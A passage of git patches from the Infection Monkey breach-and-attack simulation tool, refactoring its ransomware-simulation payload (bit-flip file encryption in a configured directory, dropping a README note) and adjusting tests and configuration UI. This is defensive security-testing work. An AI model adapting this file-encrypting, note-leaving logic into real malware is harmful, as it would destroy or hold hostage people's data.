LOG.warning(f"{readme_dest_path} already exists, not leaving a new README.txt") + return + LOG.info(f"Leaving a ransomware README file at {readme_dest_path}") try: diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 89c9f5ff512..8a08a4595e8 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,6 +1,7 @@ import os import shutil from pathlib import Path, PurePosixPath +from unittest.mock import MagicMock import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( @@ -228,3 +229,18 @@ def test_readme_true(build_ransomware_payload, ransomware_payload_config, ransom ransomware_payload.run_payload() assert Path(ransomware_target / README_DEST).exists() + + +def test_readme_already_exists( + monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target +): + monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), + mock_copy_file = MagicMock() + + ransomware_payload_config["other_behaviors"]["readme"] = True + Path(ransomware_target / README_DEST).touch() + RansomwarePayload( + ransomware_payload_config, telemetry_messenger_spy, mock_copy_file + ).run_payload() + + mock_copy_file.assert_not_called() From 7454ee72b229ea97b79a82ca8b4c75d4f1c5cc06 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Jul 2021 12:04:12 -0400 Subject: [PATCH 1051/1360] Agent: Switch copy_file typehint from str to Path --- monkey/infection_monkey/ransomware/ransomware_payload.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a6637b6730c..5b4a0cb8ae8 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -25,7 +25,7 @@ def __init__( self, config: dict, telemetry_messenger: ITelemetryMessenger, - copy_file: Callable[[str, str], None], + copy_file: Callable[[Path, Path], None], ): LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") From 92c5c3b6826631a60a5959abc3a11a90dae877ca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Jul 2021 12:04:50 -0400 Subject: [PATCH 1052/1360] Agent: Extract method _copy_file() from _leave_readme() Reworks the logic in _leave_readme() to reduce indenting and improve clarity and extracts the logic to copy the file into _copy_readme_file() --- .../ransomware/ransomware_payload.py | 26 ++++++++++++------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 5b4a0cb8ae8..0e5cf813ea2 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -97,15 +97,21 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): self._telemetry_messenger.send_telemetry(encryption_attempt) def _leave_readme(self): - if self._readme_enabled: - readme_dest_path = self._target_dir / README_DEST - if readme_dest_path.exists(): - LOG.warning(f"{readme_dest_path} already exists, not leaving a new README.txt") - return + if not self._readme_enabled: + return - LOG.info(f"Leaving a ransomware README file at {readme_dest_path}") + readme_dest_path = self._target_dir / README_DEST - try: - self._copy_file(README_SRC, readme_dest_path) - except Exception as ex: - LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") + if readme_dest_path.exists(): + LOG.warning(f"{readme_dest_path} already exists, not leaving a new README.txt") + return + + self._copy_readme_file(readme_dest_path) + + def _copy_readme_file(self, dest: Path): + LOG.info(f"Leaving a ransomware README file at {dest}") + + try: + self._copy_file(README_SRC, dest) + except Exception as ex: + LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") From bb554d923d62e56ee24b019f5ee36338066b9259 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Jul 2021 12:15:37 -0400 Subject: [PATCH 1053/1360] Agent: Rename _valid_file_extensions... -> _targeted_file_extensions --- monkey/infection_monkey/ransomware/ransomware_payload.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 0e5cf813ea2..6daa45b87a5 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -34,8 +34,8 @@ def __init__( self._target_dir = RansomwarePayload.get_target_dir(config) self._new_file_extension = EXTENSION - self._valid_file_extensions_for_encryption = TARGETED_FILE_EXTENSIONS.copy() - self._valid_file_extensions_for_encryption.discard(self._new_file_extension) + self._targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() + self._targeted_file_extensions.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) self._copy_file = copy_file @@ -68,9 +68,7 @@ def _find_files(self) -> List[Path]: if not self._target_dir: return [] - return select_production_safe_target_files( - self._target_dir, self._valid_file_extensions_for_encryption - ) + return select_production_safe_target_files(self._target_dir, self._targeted_file_extensions) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: LOG.info(f"Encrypting files in {self._target_dir}") From fb50ba1e55240d467008a169ecaf3333637b010e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Jul 2021 12:39:45 -0400 Subject: [PATCH 1054/1360] Agent: Remove unnecessary `if` from _find_files() --- monkey/infection_monkey/ransomware/ransomware_payload.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 6daa45b87a5..8993ecab4e1 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -65,9 +65,6 @@ def run_payload(self): def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") - if not self._target_dir: - return [] - return select_production_safe_target_files(self._target_dir, self._targeted_file_extensions) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: From 253f2668d0ffe9d83b61db49751ecb48c4806137 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 8 Jul 2021 20:49:55 +0200 Subject: [PATCH 1055/1360] Island: Add hidden widget to encryption and readme in ransomware --- .../ui/src/components/configuration-components/UiSchema.js | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 79dced09471..374550cc0b2 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -75,8 +75,13 @@ export default function UiSchema(props) { encryption: { directories: { // Directory inputs are dynamically hidden + }, + enabled: { + + 'ui:widget': 'hidden' } - } + }, + other_behaviors : {'ui:widget': 'hidden'} }, internal: { general: { From 69754205d04f614f0b958e3a4e7c8e6f3d19b759 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 11:15:55 +0200 Subject: [PATCH 1056/1360] Island: Add condition for leaving readme --- monkey/infection_monkey/ransomware/ransomware_payload.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 8993ecab4e1..b973716a8af 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -61,7 +61,8 @@ def run_payload(self): file_list = self._find_files() self._encrypt_files(file_list) - self._leave_readme() + if self._target_dir: + self._leave_readme() def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._target_dir}") From 80050b89e650512b8916b096e967b553b3596f3b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 11:23:22 +0200 Subject: [PATCH 1057/1360] Island: Add unit test leaving no readme if no target dir --- .../ransomware/test_ransomware_payload.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 8a08a4595e8..37af9509e35 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -244,3 +244,16 @@ def test_readme_already_exists( ).run_payload() mock_copy_file.assert_not_called() + + +def test_no_readme_if_no_directory( + build_ransomware_payload, ransomware_payload_config, ransomware_target +): + ransomware_payload_config["encryption"]["enabled"] = True + ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" + ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" + ransomware_payload_config["other_behaviors"]["readme"] = True + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + + ransomware_payload.run_payload() + assert not Path(ransomware_target / README_DEST).exists() From 8e22d2d1ae0e002ff1c4c9996c1f25f1b14592a5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 12:23:12 +0200 Subject: [PATCH 1058/1360] Island: Add readme note to the bottom of the page --- .../monkey_island/cc/services/config_schema/ransomware.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 64b986acb2f..b8f7aef1f6b 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -47,7 +47,14 @@ "files that you will allow Infection Monkey to encrypt. If no " "directory is specified, no files will be encrypted.", }, + }, + + }, + "readme_note": { + "title": "", + "type": "object", + "description": "A README.txt file will be left alongside the encrypted files.", }, }, }, From 0419e14a7a0f30ca1511f318776297aa383ff459 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 12:23:12 +0200 Subject: [PATCH 1059/1360] Island: Add readme note to the bottom of the page --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 64b986acb2f..04b1ec118ea 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -49,6 +49,11 @@ }, }, }, + "readme_note": { + "title": "", + "type": "object", + "description": "A README.txt file will be left alongside the encrypted files.", + }, }, }, "other_behaviors": { From cd2d08d2667d5217e94470c0bdf6cb490d853259 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 13:45:54 +0200 Subject: [PATCH 1060/1360] Island: Improve wording on readme.txt note --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 04b1ec118ea..21f5d61f69f 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -52,7 +52,8 @@ "readme_note": { "title": "", "type": "object", - "description": "A README.txt file will be left alongside the encrypted files.", + "description": "Note: README.txt will be left in the target directory specified" + " for encryption.", }, }, }, From 947ecb330c5361dc3d9c996e02eb4a5c0330fea4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 14:33:43 +0200 Subject: [PATCH 1061/1360] Island: Add different aproach to check for readme --- .../ransomware/ransomware_payload.py | 10 ++++++---- .../ransomware/test_ransomware_payload.py | 13 +++++++++---- 2 files changed, 15 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index b973716a8af..327f3b581a6 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -56,12 +56,16 @@ def get_target_dir(config: dict): return None def run_payload(self): + if not self._target_dir: + return + + LOG.info("Running ransomware payload") + if self._encryption_enabled and self._target_dir: - LOG.info("Running ransomware payload") file_list = self._find_files() self._encrypt_files(file_list) - if self._target_dir: + if self._readme_enabled: self._leave_readme() def _find_files(self) -> List[Path]: @@ -93,8 +97,6 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): self._telemetry_messenger.send_telemetry(encryption_attempt) def _leave_readme(self): - if not self._readme_enabled: - return readme_dest_path = self._target_dir / README_DEST diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 37af9509e35..3c911927c74 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -247,13 +247,18 @@ def test_readme_already_exists( def test_no_readme_if_no_directory( - build_ransomware_payload, ransomware_payload_config, ransomware_target + monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target ): + monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), + mock_copy_file = MagicMock() + ransomware_payload_config["encryption"]["enabled"] = True ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - ransomware_payload.run_payload() - assert not Path(ransomware_target / README_DEST).exists() + RansomwarePayload( + ransomware_payload_config, telemetry_messenger_spy, mock_copy_file + ).run_payload() + + mock_copy_file.assert_not_called() From 31a33a70cd1e2744e1db62d12b1f181592cf9053 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 9 Jul 2021 14:33:43 +0200 Subject: [PATCH 1062/1360] Island: Add different aproach to check for readme --- .../ransomware/ransomware_payload.py | 10 ++++++---- .../components/configuration-components/UiSchema.js | 7 ++----- .../ransomware/test_ransomware_payload.py | 13 +++++++++---- 3 files changed, 17 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index b973716a8af..327f3b581a6 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -56,12 +56,16 @@ def get_target_dir(config: dict): return None def run_payload(self): + if not self._target_dir: + return + + LOG.info("Running ransomware payload") + if self._encryption_enabled and self._target_dir: - LOG.info("Running ransomware payload") file_list = self._find_files() self._encrypt_files(file_list) - if self._target_dir: + if self._readme_enabled: self._leave_readme() def _find_files(self) -> List[Path]: @@ -93,8 +97,6 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): self._telemetry_messenger.send_telemetry(encryption_attempt) def _leave_readme(self): - if not self._readme_enabled: - return readme_dest_path = self._target_dir / README_DEST diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 374550cc0b2..9039ca36ff5 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -76,12 +76,9 @@ export default function UiSchema(props) { directories: { // Directory inputs are dynamically hidden }, - enabled: { - - 'ui:widget': 'hidden' - } + enabled: {'ui:widget': 'hidden'} }, - other_behaviors : {'ui:widget': 'hidden'} + other_behaviors : {'ui:widget': 'hidden'} }, internal: { general: { diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 37af9509e35..3c911927c74 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -247,13 +247,18 @@ def test_readme_already_exists( def test_no_readme_if_no_directory( - build_ransomware_payload, ransomware_payload_config, ransomware_target + monkeypatch, ransomware_payload_config, telemetry_messenger_spy, ransomware_target ): + monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), + mock_copy_file = MagicMock() + ransomware_payload_config["encryption"]["enabled"] = True ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True - ransomware_payload = build_ransomware_payload(ransomware_payload_config) - ransomware_payload.run_payload() - assert not Path(ransomware_target / README_DEST).exists() + RansomwarePayload( + ransomware_payload_config, telemetry_messenger_spy, mock_copy_file + ).run_payload() + + mock_copy_file.assert_not_called() From 4320d3e08cb1a130a5808e522aeaa9962e1ff4d9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Jul 2021 19:53:08 +0530 Subject: [PATCH 1063/1360] cc: Change config field descriptions and add `info_box` field to ransomware config schema --- .../cc/services/config_schema/ransomware.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 64b986acb2f..70415110d7a 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -6,17 +6,14 @@ RANSOMWARE = { "title": "Ransomware", "type": "object", - "description": "This page allows you to configure the Infection Monkey to execute a ransomware " - "simulation. The Infection Monkey is capable of simulating a ransomware attack on your network " - "using a set of configurable behaviors. A number of precautions have been taken to ensure that " - "this ransomware simulation is safe for production environments.\n\nFor more information about " - "configuring the ransomware simulation, see " - ' the documentation.', "properties": { "encryption": { - "title": "Encryption", + "title": "Simulation", "type": "object", + "description": "To simulate ransomware encryption, create a directory and put some " + "files there to be encrypted. Do this on each machine on which you want to run the " + "ransomware encryption simulation.\n\nProvide the path to the directory that was " + "created on each machine:", "properties": { "enabled": { "title": "Encrypt files", @@ -25,6 +22,12 @@ "description": "Ransomware encryption will be simulated by flipping every bit " "in the files contained within the target directories.", }, + "info_box": { + "title": "", + "type": "object", + "info": "No files will be encrypted if a directory is not specified or doesn't " + "exist on a victim machine.", + }, "directories": { "title": "Directories to encrypt", "type": "object", From 844399b608e528e51f75d80365cd4f3b9041a2ba Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Jul 2021 19:53:46 +0530 Subject: [PATCH 1064/1360] cc: Add new `InfoField` component --- .../configuration-components/InfoField.js | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js new file mode 100644 index 00000000000..ec6254943b9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js @@ -0,0 +1,18 @@ +import * as React from 'react'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; + +class InfoField extends React.Component { + + render() { + return ( + <> +
    + + {this.props.schema.info} +
    + ); + } +} + +export default InfoField; From e6c9377908672fc0b45c79d4b17e3799272cf1d7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Jul 2021 19:55:05 +0530 Subject: [PATCH 1065/1360] cc: Link `InfoField` widget to ransomware's `info_box` field in UI schema --- .../cc/ui/src/components/configuration-components/UiSchema.js | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 79dced09471..684d9d416ed 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -2,6 +2,7 @@ import AdvancedMultiSelect from '../ui-components/AdvancedMultiSelect'; import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; import FieldWithInfo from './FieldWithInfo'; +import InfoField from './InfoField'; export default function UiSchema(props) { const UiSchema = { @@ -73,6 +74,9 @@ export default function UiSchema(props) { }, ransomware: { encryption: { + info_box: { + 'ui:field': InfoField + }, directories: { // Directory inputs are dynamically hidden } From 677f995bb3728835fea5ec77067db0d431637071 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Jul 2021 20:19:38 +0530 Subject: [PATCH 1066/1360] cc: Change schema for Network configuration tab to decouple info box and blocked IPs' input field --- .../cc/services/config_schema/basic_network.py | 10 +++++++--- .../components/configuration-components/UiSchema.js | 4 ++-- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 4512a7cc90b..46c04284e9c 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -9,6 +9,13 @@ "title": "Scope", "type": "object", "properties": { + "info_box": { + "title": "", + "type": "object", + "info": 'The Monkey scans its subnet if "Local network scan" is ticked. ' + 'Additionally, the Monkey scans machines according to "Scan ' + 'target list".', + }, "blocked_ips": { "title": "Blocked IPs", "type": "array", @@ -19,9 +26,6 @@ }, "default": [], "description": "List of IPs that the Monkey will not scan.", - "info": 'The Monkey scans its subnet if "Local network scan" is ticked. ' - 'Additionally the monkey scans machines according to "Scan ' - 'target list".', }, "local_network_scan": { "title": "Local network scan", diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 684d9d416ed..aa93445e6e0 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -18,8 +18,8 @@ export default function UiSchema(props) { basic_network: { 'ui:order': ['scope', 'network_analysis'], scope: { - blocked_ips: { - 'ui:field': FieldWithInfo + info_box: { + 'ui:field': InfoField }, subnet_scan_list: { format: 'ip-list' From 67293b37ef67f3a4332de4ff0d6f21145a05237b Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Jul 2021 20:20:12 +0530 Subject: [PATCH 1067/1360] cc: Remove unused `FieldWithInfo` component --- .../configuration-components/FieldWithInfo.js | 20 ------------------- .../configuration-components/UiSchema.js | 1 - 2 files changed, 21 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js deleted file mode 100644 index 8a0bc0c04ac..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js +++ /dev/null @@ -1,20 +0,0 @@ -import ObjectField from 'react-jsonschema-form-bs4/lib/components/fields/ArrayField'; -import * as React from 'react'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; - -class FieldWithInfo extends React.Component { - - render() { - return ( - <> -
    - - {this.props.schema.info} -
    - - ); - } -} - -export default FieldWithInfo; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index aa93445e6e0..37a89e87c72 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -1,7 +1,6 @@ import AdvancedMultiSelect from '../ui-components/AdvancedMultiSelect'; import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; -import FieldWithInfo from './FieldWithInfo'; import InfoField from './InfoField'; export default function UiSchema(props) { From d108812e263e7e9e18db7cae4146e5ec876bd433 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 9 Jul 2021 14:49:00 -0400 Subject: [PATCH 1068/1360] Agent: Remove redundant condition from RansomwarePayload.run_payload() --- monkey/infection_monkey/ransomware/ransomware_payload.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 327f3b581a6..9324542adef 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -61,7 +61,7 @@ def run_payload(self): LOG.info("Running ransomware payload") - if self._encryption_enabled and self._target_dir: + if self._encryption_enabled: file_list = self._find_files() self._encrypt_files(file_list) From a119855d84146ca28c794fb9ed4794fed7477316 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 9 Jul 2021 14:53:34 -0400 Subject: [PATCH 1069/1360] Tests: Remove unnecessary option from test_no_readme_if_no_directory --- .../infection_monkey/ransomware/test_ransomware_payload.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 3c911927c74..2db9ecb4a93 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -252,7 +252,6 @@ def test_no_readme_if_no_directory( monkeypatch.setattr(ransomware_payload_module, "TARGETED_FILE_EXTENSIONS", set()), mock_copy_file = MagicMock() - ransomware_payload_config["encryption"]["enabled"] = True ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" ransomware_payload_config["other_behaviors"]["readme"] = True From eb36869e710fece24cf16fecdf626b0afd1e9aae Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 9 Jul 2021 14:51:31 -0400 Subject: [PATCH 1070/1360] Island: Minor wording change to readme_note description --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 21f5d61f69f..24504404384 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -52,8 +52,8 @@ "readme_note": { "title": "", "type": "object", - "description": "Note: README.txt will be left in the target directory specified" - " for encryption.", + "description": "Note: A README.txt will be left in the specified target " + "directory.", }, }, }, From e16b019b85526e9ddb6d66b4d0f84198ed393d43 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 12 Jul 2021 11:51:03 +0530 Subject: [PATCH 1071/1360] cc: Rename component `InfoField` to `InfoBox` --- .../configuration-components/{InfoField.js => InfoBox.js} | 4 ++-- .../ui/src/components/configuration-components/UiSchema.js | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) rename monkey/monkey_island/cc/ui/src/components/configuration-components/{InfoField.js => InfoBox.js} (85%) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js similarity index 85% rename from monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js rename to monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js index ec6254943b9..1542676ce7f 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoField.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js @@ -2,7 +2,7 @@ import * as React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle'; -class InfoField extends React.Component { +class InfoBox extends React.Component { render() { return ( @@ -15,4 +15,4 @@ class InfoField extends React.Component { } } -export default InfoField; +export default InfoBox; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 37a89e87c72..541132bb464 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -1,7 +1,7 @@ import AdvancedMultiSelect from '../ui-components/AdvancedMultiSelect'; import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; -import InfoField from './InfoField'; +import InfoBox from './InfoBox'; export default function UiSchema(props) { const UiSchema = { @@ -18,7 +18,7 @@ export default function UiSchema(props) { 'ui:order': ['scope', 'network_analysis'], scope: { info_box: { - 'ui:field': InfoField + 'ui:field': InfoBox }, subnet_scan_list: { format: 'ip-list' @@ -74,7 +74,7 @@ export default function UiSchema(props) { ransomware: { encryption: { info_box: { - 'ui:field': InfoField + 'ui:field': InfoBox }, directories: { // Directory inputs are dynamically hidden From 9cb6dca220df76d32989095e41bb4e3f312d4e93 Mon Sep 17 00:00:00 2001 From: 